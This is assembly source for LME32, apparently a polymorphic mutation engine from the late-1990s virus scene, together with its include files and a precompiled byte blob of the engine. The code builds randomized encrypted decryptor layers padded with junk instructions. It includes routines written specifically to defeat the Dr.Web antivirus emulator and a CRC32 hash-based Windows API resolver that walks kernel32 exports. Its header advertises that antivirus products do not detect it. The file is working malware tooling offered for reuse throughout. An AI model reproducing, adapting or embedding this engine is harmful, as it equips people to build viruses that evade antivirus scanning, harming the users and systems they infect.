; LME32 version 1.0 ; ; may be used in windows 95/98/nt programs ; ; see lme32.inc ; ; must be in r/w section ; ; (c) LordDark [MATRiX] addreg macro reg push eax movzx eax, reg btr [ebp.free], eax pop eax endm remreg macro reg push eax movzx eax, reg bts [ebp.free], eax pop eax endm zcall macro name extrn &name&: proc call name endm locals __ .386 .model flat, pascal .data engine proc pushad call engine_start delta: dd offset rnd random equ 4 ptr [ebp.delta] db '[' db 'LME32.' db el/1000 mod 10 + '0' db el/100 mod 10 + '0' db el/10 mod 10 + '0' db el/1 mod 10 + '0' engine_start: pop ebp sub ebp, offset delta shr ecx, 2 ; / 4 inc ecx mov 4 ptr [ebp._ecx], ecx mov 4 ptr [ebp._edi], edi mov 4 ptr [ebp._esi], esi mov 4 ptr [ebp.free], (not REG_ESP) and 255 lea esi, [ebp.randomb] call gen_garbage mov al, 3 call esi inc eax xchg eax, ecx __l: push ecx call drweb_anti pop ecx loop __l ;;; get delta mov al, 0E8h stosb sub eax, eax stosd mov eax, edi sub eax, [ebp._edi] mov 4 ptr [ebp._delta], eax ;;; pop delta call gen_garbage call free_reg mov [ebp.reg1], al addreg al or al, 58h stosb ;;; mov reg, xxx call free_reg addreg al mov [ebp.reg2], al mov edx, 4 ptr [ebp._ecx] call load ;;; sub/add delta call gen_garbage call cannt_be_call push -1 pop eax call random mov [ebp.sub_delta], eax mov al, 81h stosb call boolean mov al, 0E8h jz __1 mov al, 0C0h __1: pushf or al, [ebp.reg1] stosb mov [ebp.save1], edi db 0B8h sub_delta dd 0 stosd popf jz __2 neg 4 ptr [ebp.sub_delta] __2: ;;; crypt/decrypt call gen_garbage mov al, 3 call esi add eax, eax mov ebx, 4 ptr [ebp.eax+decrypt] mov 2 ptr [ebp.com_crypt], bx mov eax, 4 ptr [ebp.eax+crypt] or ah, 1 ptr [ebp.reg1] stosw mov [ebp+save2], edi stosd push -1 pop eax call random mov [ebp.key], eax stosd ;;; add reg, 4 call gen_garbage mov al, 83h stosb call boolean mov ax, 4C0h jz __3 mov ax, 0FCE8h __3: or al, 0 reg1 equ 1 ptr $-1 stosw ;;; inc ecx call gen_garbage mov al, 48h or al, [ebp.reg2] stosb ;;; cmp call gen_garbage call cannt_be_call mov al, 3 call esi lea ebx, [ebp.is_zero] xlat stosb mov al, [ebp.reg2] shl al, 3 or al, 0 reg2 equ 1 ptr $-1 or al, 0C0h stosb ;;; jz mov ax, 850Fh stosw db 0B8h save1 dd ? sub eax, edi stosd ;;; end remreg remreg call gen_garbage call cannt_be_call mov eax, edi sub eax, [ebp._edi] sub eax, 1234567h _delta equ 4 ptr $-4 add eax, [ebp.sub_delta] mov edx, 0 save2 equ 4 ptr $-4 mov 4 ptr [edx], eax ;;; mov esi, 0 _esi equ 4 ptr $-4 mov ecx, 0 _ecx equ 4 ptr $-4 mov edx, 0 key equ 4 ptr $-4 __loop: lodsd com_crypt dw 9090h stosd loop __loop mov eax, edi sub eax, 1234567h _edi equ 4 ptr $-4 mov 4 ptr [esp.1Ch], eax popad ret endp crypt: db 81h,0B0h db 81h,080h db 81h,0A8h decrypt: xor eax, edx sub eax, edx add eax, edx is_zero: db 85h db 23h db 0Bh load proc call boolean jz __1 or al, 0B8h stosb xchg eax, edx stosd ret __1: push eax mov al, 68h stosb xchg eax, edx stosd pop eax or al, 58h stosb ret endp boolean proc push eax mov al, 2 call esi test eax, eax pop eax ret endp REG_ESP equ 00000010h free_reg: push ebx __1: mov al, 8 call esi db 0BBh free dd 0 bt ebx, eax jnc __1 pop ebx ret randomb: movzx eax, al jmp random no_change_reg = 0 change_one_reg = 1 change_two_reg = 2 no_prefix = 111111b yes_prefix = 0 grb macro p1,p2,p3,p4 db p1 dw offset &p2&-engine db (p3 shl 6) or p4 endm gen_xxx proc ; al - reg1 ; ah - reg2 or ah, 0C0h shl al, 3 or al, ah stosb ret endp gen_inc proc ; al - reg or [edi-1], al ret endp gen_shr proc or al, 0C0h stosb __1: mov al, 8 call esi cmp al, 6 jz __1 shl al, 3 or [edi-1], al ret endp gen_dshr proc ; al - reg1 ; ah - reg2 or al, 0C0h shl ah, 3 or al, ah stosb mov al, -1 call esi stosb ret endp garbage_table: grb 10001011b,gen_xxx,change_one_reg,no_prefix grb 10110111b,gen_xxx,change_one_reg,yes_prefix grb 10111111b,gen_xxx,change_one_reg,yes_prefix grb 10000111b,gen_xxx,change_two_reg,no_prefix grb 00000011b,gen_xxx,change_one_reg,no_prefix grb 00010011b,gen_xxx,change_one_reg,no_prefix grb 00100011b,gen_xxx,change_one_reg,no_prefix grb 00001011b,gen_xxx,change_one_reg,no_prefix grb 00101011b,gen_xxx,change_one_reg,no_prefix grb 00011011b,gen_xxx,change_one_reg,no_prefix grb 00110011b,gen_xxx,change_one_reg,no_prefix grb 01000000b,gen_inc,change_one_reg,no_prefix grb 01001000b,gen_inc,change_one_reg,no_prefix grb 00111001b,gen_xxx,no_change_reg,no_prefix grb 10000101b,gen_xxx,no_change_reg,no_prefix grb 11010001b,gen_shr,change_one_reg,no_prefix grb 11010011b,gen_shr,change_one_reg,no_prefix grb 10100100b,gen_dshr,change_one_reg,yes_prefix grb 10101100b,gen_dshr,change_one_reg,yes_prefix grb 11001000b,gen_inc,change_one_reg,yes_prefix grb 10101011b,gen_xxx,change_two_reg,yes_prefix ;* grb 10110011b,gen_xxx,change_two_reg,yes_prefix ;* grb 10111011b,gen_xxx,change_two_reg,yes_prefix ;* len_garbage_table = ($-garbage_table)/4 drweb_anti proc call cannt_be_call mov eax, 36FF6764h stosd sub eax, eax stosw call gen_garbage call cannt_be_call mov al, 0E8h stosb stosd push edi call gen_garbage call cannt_be_call mov eax, 068F6764h stosd sub eax, eax stosw call gen_garbage call cannt_be_call mov al, 0E9h stosb stosd mov edx, edi call gen_garbage call cannt_be_call pop eax mov ebx, edi sub ebx, eax mov 4 ptr [eax.-4], ebx call gen_garbage call cannt_be_call mov eax, 068F6764h stosd sub eax, eax stosw call gen_garbage call cannt_be_call mov eax, 26FF6764h stosd sub eax, eax stosw call gen_garbage mov al, -1 call esi stosb call gen_garbage mov eax, edi sub eax, edx mov 4 ptr [edx.-4], eax ret endp gen_garbage proc mov al, 5 call esi inc eax xchg ecx, eax __1:push ecx call garbage pop ecx loop __1 ret endp cannt_be_call proc cmp 1 ptr [ebp.is_call], 1 jnz __1 call make_end_call __1: ret endp garbage proc mov al, 4 call esi and al, al la_path: jnz __X make_end_call: db 0B0h is_call db 0 test al, al jnz __X1 inc 1 ptr [ebp.is_call] mov al, 0E8h stosb mov 4 ptr [__DI.ebp], edi stosd jmp __X __X1: call free_reg or al, 0B8h stosb db 0B8h __DI dd 0 mov ebx, edi sub ebx, eax push edi xchg eax, edi xchg eax, ebx sub eax, 4 stosd pop edi mov al, 0C3h stosb push -1 pop eax call random stosw shr eax, 10h stosb dec 1 ptr [ebp.is_call] __X: mov al, len_garbage_table+3 call esi cmp al, len_garbage_table+2 jnz __one call end_table one_byte: clc cld cli cmc sti nop stc std sahf ob_len = ($-one_byte) end_table: pop ebx mov al, ob_len call esi xlat stosb ret __one: cmp al, len_garbage_table+1 jnz __mov push edx push -1 pop eax call random xchg eax, edx call free_reg call load pop edx ret __mov: cmp al, len_garbage_table jnz __lea mov al, 10001101b stosb __1x: call free_reg cmp al, 5 ; EBP jz __1x shl al, 3 or al, 5 stosb push -1 pop eax call random stosd ret __lea: lea ebx, [eax*4+garbage_table+ebp] call boolean jz __66 mov al, 66h stosb __66: test 1 ptr [ebx.3], 00111111b jnz __1 mov al, 0Fh stosb __1: mov al, [ebx] stosb mov al, [ebx.3] and al, not 111111b cmp al, 0 jnz __2 mov al, 8 call random mov cl, al mov al, 8 call random mov ah, cl jmp __3 __2: cmp al, 01000000b jnz __4 call free_reg mov cl, al mov al, 8 call random mov ah, al mov al, cl jmp __3 __4: call free_reg mov cl, al call free_reg cmp al, cl jz __4 mov ah, cl __3: movzx ebx, 2 ptr [ebx.1] lea ebx, [ebp+engine+ebx] call ebx ret endp el = ($-engine) .code start: sub ebp, ebp call randomize mov seed, eax lea esi, engine lea edi, place mov ecx, el cld rep movsb ; first layer lea edi, buffer lea esi, _test mov ecx, (len_test+3)/4 call place push 10 pop ecx ; generation 10 layers __1: push ecx mov esi, edi add edi, eax xchg eax, ecx call place pop ecx loop __1 push eax edi ; call edi sti lea edx, file mov ecx, 20h mov ah, 3Ch call dos xchg eax, ebx pop edx ; if u wanna may dump pop ecx ; crypt progy IFDEF progy lea edx, engine mov ecx, el ENDIF mov ah, 40h call dos mov ah, 3eh call dos push 0 zcall ExitProcess dos: ; exist only in w95/w98 push ecx push eax push 002a0010h mov eax, 0BFF713D4h call eax ret file db 'lme32.bin',0 randomize: sub esp, 16 push esp zcall GetSystemTime mov eax, esp sub esp, 8 push esp push eax zcall SystemTimeToFileTime mov eax, [esp] xor eax, [esp.4] add esp, 24 ret rnd proc pascal push ebp push edx ecx eax call $+5 $delta: pop ebp sub ebp, offset $delta db 0B8h seed dd ? imul eax, eax, 8088405h inc eax mov [ebp.seed], eax pop ecx xor edx, edx jecxz __1 div ecx __1: xchg eax, edx pop ecx edx pop ebp ret endp _test: ; dummy progy ; see lme32_~1.exe include import.inc call $+5 deltaz: pop ebp sub ebp, offset deltaz mov ebx, [esp] sub bx, bx __1: sub ebx, 10000h cmp 2 ptr [ebx], 'ZM' jnz __1 call import push 0 lea eax, [ebp.msg1] push eax lea eax, [ebp.msg2] push eax push 0 call 4 ptr [ebp.MessageBoxA] lea ebp, [esp+13Ch] ret import_table: import_beg user32.dll import_nam MessageBoxA import_end import_end include imprt.inc msg1 db 'Hello',0 msg2 db 'I''am started!',0 len_test = ($-_test) .data place: db el dup (00h) buffer: db 100*1024 dup (?) end start --[Import.inc]---------------------------------------------------------------->8 CRC32_init equ 0EDB88320h CRC32_num equ 0FFFFFFFFh CRC32 macro string crcReg = CRC32_num irpc _x, ctrlByte = '&_x&' xor (crcReg and 0FFh) crcReg = crcReg shr 8 rept 8 ctrlByte = (ctrlByte shr 1) xor (CRC32_init * (ctrlByte and 1)) endm crcReg = crcReg xor ctrlByte endm dd crcReg endm import_beg macro kernel db '&kernel&',0 endm import_nam macro name CRC32 &name& local b b=0 irpc a, IF b EQ 0 db '&a&' ENDIF b=b+1 endm &name& dd 0 endm import_end macro dd 0 endm --[Imprt.inc]----------------------------------------------------------------->8 import: ; ebx - K32 base mov eax, 0 org $-4 CRC32 GetModuleHandleA mov dl, 'G' call get_proc mov 4 ptr [ebp+GetModuleHandleA], eax mov eax, 0 org $-4 CRC32 LoadLibraryA mov dl, 'L' call get_proc mov 4 ptr [ebp+LoadLibraryA], eax lea esi, [ebp+import_table] import_spec: __5: push esi call [ebp+GetModuleHandleA] test eax, eax jnz __3 push esi call [ebp+LoadLibraryA] __3: xchg eax, ebx __4: lodsb test al, al jnz __4 __2: lodsd test eax, eax jz __1 mov dl, [esi] inc esi push esi call get_proc pop esi mov 4 ptr [esi], eax lodsd jmp __2 __1: cmp 4 ptr [esi], 0 jnz __5 ret get_proc proc push ebx ebp ; ebx - CRC32 ; eax - DLL offset ; dl - first char mov edi, [ebx+3Ch] mov edi, [edi+78h+ebx] mov ecx, [edi+18h+ebx] mov esi, [edi+20h+ebx] __1: mov ebp, [esi+ebx] add ebp, ebx cmp 1 ptr [ebp], dl jnz __2 push ebx ecx ; use ebx, ecx ; ebp - offset to name'z push -1 pop ebx __5: xor bl, 1 ptr [ebp] inc ebp push 8 pop ecx __3: shr ebx, 1 jnc __4 xor ebx, CRC32_init __4: loop __3 cmp 1 ptr [ebp], 0 jnz __5 cmp eax, ebx pop ecx ebx jz __6 __2: add esi, 4 loop __1 __6: sub ecx, [edi+18h+ebx] neg ecx add ecx, ecx add ecx, [edi+24h+ebx] add ecx, ebx movzx ecx, 2 ptr [ecx] shl ecx, 2 add ecx, [edi+1Ch+ebx] mov eax, [ecx+ebx] add eax, ebx pop ebp ebx ret endp GetModuleHandleA dd 0 LoadLibraryA dd 0 --[lme32.inc]----------------------------------------------------------------->8 ; lme32 v.1.0 ; ; must be in write/read section. if u use it in HLL ; alloc some mem copy engine to it and use! ; ; - save regs ; - may be many laeyrs ; - dont detect by AV ; - small only 1173 bytes ; - max decryptor ~ 2000 bytes ; ; IN ; esi - sourece ; edi - buffer ; ecx - length ; ; OUT ; eax - lenght ; lme32: db 060h,0E8h,00Fh,000h,000h,000h random_offset dd ? db 05Bh,04Ch,04Dh,045h db 033h,032h,02Eh,031h,031h,037h,033h,05Dh,081h,0EDh,006h,020h,040h,000h db 0C1h,0E9h,002h,041h,089h,08Dh,0D3h,021h,040h,000h,089h,0BDh,0E5h,021h db 040h,000h,089h,0B5h,0CEh,021h,040h,000h,0C7h,085h,025h,022h,040h,000h db 0EFh,000h,000h,000h,08Dh,0B5h,030h,022h,040h,000h,0E8h,00Fh,003h,000h db 000h,0B0h,003h,0FFh,0D6h,040h,091h,051h,0E8h,070h,002h,000h,000h,059h db 0E2h,0F7h,0B0h,0E8h,0AAh,02Bh,0C0h,0ABh,08Bh,0C7h,02Bh,085h,0E5h,021h db 040h,000h,089h,085h,0BCh,021h,040h,000h,0E8h,0E7h,002h,000h,000h,0E8h db 0ABh,001h,000h,000h,088h,085h,046h,021h,040h,000h,050h,00Fh,0B6h,0C0h db 00Fh,0B3h,085h,025h,022h,040h,000h,058h,00Ch,058h,0AAh,0E8h,091h,001h db 000h,000h,050h,00Fh,0B6h,0C0h,00Fh,0B3h,085h,025h,022h,040h,000h,058h db 088h,085h,077h,021h,040h,000h,08Bh,095h,0D3h,021h,040h,000h,0E8h,053h db 001h,000h,000h,0E8h,0A6h,002h,000h,000h,0E8h,0B1h,002h,000h,000h,06Ah db 0FFh,058h,0FFh,095h,006h,020h,040h,000h,089h,085h,0E1h,020h,040h,000h db 0B0h,081h,0AAh,0E8h,04Ah,001h,000h,000h,0B0h,0E8h,074h,002h,0B0h,0C0h db 09Ch,00Ah,085h,046h,021h,040h,000h,0AAh,089h,0BDh,082h,021h,040h,000h db 0B8h,0C5h,015h,0DEh,025h,0ABh,09Dh,074h,006h,0F7h,09Dh,0E1h,020h,040h db 000h,0E8h,062h,002h,000h,000h,0B0h,003h,0FFh,0D6h,003h,0C0h,08Bh,09Ch db 005h,0F5h,021h,040h,000h,066h,089h,09Dh,0DDh,021h,040h,000h,08Bh,084h db 005h,0EFh,021h,040h,000h,00Ah,0A5h,046h,021h,040h,000h,066h,0ABh,089h db 0BDh,0C7h,021h,040h,000h,0ABh,06Ah,0FFh,058h,0FFh,095h,006h,020h,040h db 000h,089h,085h,0D8h,021h,040h,000h,0ABh,0E8h,023h,002h,000h,000h,0B0h db 083h,0AAh,0E8h,0DBh,000h,000h,000h,066h,0B8h,0C0h,004h,074h,004h,066h db 0B8h,0E8h,0FCh,00Ch,001h,066h,0ABh,0E8h,008h,002h,000h,000h,0B0h,048h db 00Ah,085h,077h,021h,040h,000h,0AAh,0E8h,0FAh,001h,000h,000h,0E8h,005h db 002h,000h,000h,0B0h,003h,0FFh,0D6h,08Dh,09Dh,0FBh,021h,040h,000h,0D7h db 0AAh,08Ah,085h,077h,021h,040h,000h,0C0h,0E0h,003h,00Ch,006h,00Ch,0C0h db 0AAh,066h,0B8h,00Fh,085h,066h,0ABh,0B8h,0D0h,09Fh,040h,000h,02Bh,0C7h db 0ABh,050h,00Fh,0B6h,085h,046h,021h,040h,000h,00Fh,0ABh,085h,025h,022h db 040h,000h,058h,050h,00Fh,0B6h,085h,077h,021h,040h,000h,00Fh,0ABh,085h db 025h,022h,040h,000h,058h,0E8h,0A8h,001h,000h,000h,0E8h,0B3h,001h,000h db 000h,08Bh,0C7h,02Bh,085h,0E5h,021h,040h,000h,02Dh,090h,001h,000h,000h db 003h,085h,0E1h,020h,040h,000h,0BAh,0E0h,09Fh,040h,000h,089h,002h,0BEh db 047h,08Ah,040h,000h,0B9h,0F5h,004h,000h,000h,0BAh,0C7h,009h,03Bh,03Fh db 0ADh,033h,0C2h,0ABh,0E2h,0FAh,08Bh,0C7h,02Dh,017h,09Eh,040h,000h,089h db 044h,024h,01Ch,061h,0C3h,081h,0B0h,081h,080h,081h,0A8h,033h,0C2h,02Bh db 0C2h,003h,0C2h,085h,023h,00Bh,0E8h,013h,000h,000h,000h,074h,006h,00Ch db 0B8h,0AAh,092h,0ABh,0C3h,050h,0B0h,068h,0AAh,092h,0ABh,058h,00Ch,058h db 0AAh,0C3h,050h,0B0h,002h,0FFh,0D6h,085h,0C0h,058h,0C3h,053h,0B0h,008h db 0FFh,0D6h,0BBh,0EFh,000h,000h,000h,00Fh,0A3h,0C3h,073h,0F2h,05Bh,0C3h db 00Fh,0B6h,0C0h,0FFh,0A5h,006h,020h,040h,000h,080h,0CCh,0C0h,0C0h,0E0h db 003h,00Ah,0C4h,0AAh,0C3h,008h,047h,0FFh,0C3h,00Ch,0C0h,0AAh,0B0h,008h db 0FFh,0D6h,03Ch,006h,074h,0F8h,0C0h,0E0h,003h,008h,047h,0FFh,0C3h,00Ch db 0C0h,0C0h,0E4h,003h,00Ah,0C4h,0AAh,0B0h,0FFh,0FFh,0D6h,0AAh,0C3h,08Bh db 039h,002h,07Fh,0B7h,039h,002h,040h,0BFh,039h,002h,040h,087h,039h,002h db 0BFh,003h,039h,002h,07Fh,013h,039h,002h,07Fh,023h,039h,002h,07Fh,00Bh db 039h,002h,07Fh,02Bh,039h,002h,07Fh,01Bh,039h,002h,07Fh,033h,039h,002h db 07Fh,040h,043h,002h,07Fh,048h,043h,002h,07Fh,039h,039h,002h,03Fh,085h db 039h,002h,03Fh,0D1h,047h,002h,07Fh,0D3h,047h,002h,07Fh,0A4h,059h,002h db 040h,0ACh,059h,002h,040h,0C8h,043h,002h,040h,0ABh,039h,002h,080h,0B3h db 039h,002h,080h,0BBh,039h,002h,080h,0E8h,09Eh,000h,000h,000h,0B8h,064h db 067h,0FFh,036h,0ABh,02Bh,0C0h,066h,0ABh,0E8h,07Fh,000h,000h,000h,0E8h db 08Ah,000h,000h,000h,0B0h,0E8h,0AAh,0ABh,057h,0E8h,070h,000h,000h,000h db 0E8h,07Bh,000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h db 0ABh,0E8h,05Ch,000h,000h,000h,0E8h,067h,000h,000h,000h,0B0h,0E9h,0AAh db 0ABh,08Bh,0D7h,0E8h,04Ch,000h,000h,000h,0E8h,057h,000h,000h,000h,058h db 08Bh,0DFh,02Bh,0D8h,089h,058h,0FCh,0E8h,03Ah,000h,000h,000h,0E8h,045h db 000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h,0ABh,0E8h db 026h,000h,000h,000h,0E8h,031h,000h,000h,000h,0B8h,064h,067h,0FFh,026h db 0ABh,02Bh,0C0h,066h,0ABh,0E8h,012h,000h,000h,000h,0B0h,0FFh,0FFh,0D6h db 0AAh,0E8h,008h,000h,000h,000h,08Bh,0C7h,02Bh,0C2h,089h,042h,0FCh,0C3h db 0B0h,005h,0FFh,0D6h,040h,091h,051h,0E8h,013h,000h,000h,000h,059h,0E2h db 0F7h,0C3h,080h,0BDh,07Eh,023h,040h,000h,001h,075h,005h,0E8h,009h,000h db 000h,000h,0C3h,0B0h,004h,0FFh,0D6h,022h,0C0h,075h,049h,0B0h,000h,084h db 0C0h,075h,012h,0FEh,085h,07Eh,023h,040h,000h,0B0h,0E8h,0AAh,089h,0BDh db 09Eh,023h,040h,000h,0ABh,0EBh,031h,0E8h,085h,0FEh,0FFh,0FFh,00Ch,0B8h db 0AAh,0B8h,0FAh,09Fh,040h,000h,08Bh,0DFh,02Bh,0D8h,057h,097h,093h,083h db 0E8h,004h,0ABh,05Fh,0B0h,0C3h,0AAh,06Ah,0FFh,058h,0FFh,095h,006h,020h db 040h,000h,066h,0ABh,0C1h,0E8h,010h,0AAh,0FEh,08Dh,07Eh,023h,040h,000h db 0B0h,01Ah,0FFh,0D6h,03Ch,019h,075h,016h,0E8h,009h,000h,000h,000h,0F8h db 0FCh,0FAh,0F5h,0FBh,090h,0F9h,0FDh,09Eh,05Bh,0B0h,009h,0FFh,0D6h,0D7h db 0AAh,0C3h,03Ch,018h,075h,017h,052h,06Ah,0FFh,058h,0FFh,095h,006h,020h db 040h,000h,092h,0E8h,027h,0FEh,0FFh,0FFh,0E8h,001h,0FEh,0FFh,0FFh,05Ah db 0C3h,03Ch,017h,075h,01Dh,0B0h,08Dh,0AAh,0E8h,014h,0FEh,0FFh,0FFh,03Ch db 005h,074h,0F7h,0C0h,0E0h,003h,00Ch,005h,0AAh,06Ah,0FFh,058h,0FFh,095h db 006h,020h,040h,000h,0ABh,0C3h,08Dh,09Ch,085h,067h,022h,040h,000h,0E8h db 0EAh,0FDh,0FFh,0FFh,074h,003h,0B0h,066h,0AAh,0F6h,043h,003h,03Fh,075h db 003h,0B0h,00Fh,0AAh,08Ah,003h,0AAh,08Ah,043h,003h,024h,0C0h,03Ch,000h db 075h,016h,0B0h,008h,0FFh,095h,006h,020h,040h,000h,08Ah,0C8h,0B0h,008h db 0FFh,095h,006h,020h,040h,000h,08Ah,0E1h,0EBh,02Bh,03Ch,040h,075h,015h db 0E8h,0BAh,0FDh,0FFh,0FFh,08Ah,0C8h,0B0h,008h,0FFh,095h,006h,020h,040h db 000h,08Ah,0E0h,08Ah,0C1h,0EBh,012h,0E8h,0A5h,0FDh,0FFh,0FFh,08Ah,0C8h db 0E8h,09Eh,0FDh,0FFh,0FFh,03Ah,0C1h,074h,0F0h,08Ah,0E1h,00Fh,0B7h,05Bh db 001h,08Dh,09Ch,01Dh,000h,020h,040h,000h,0FFh,0D3h,0C3h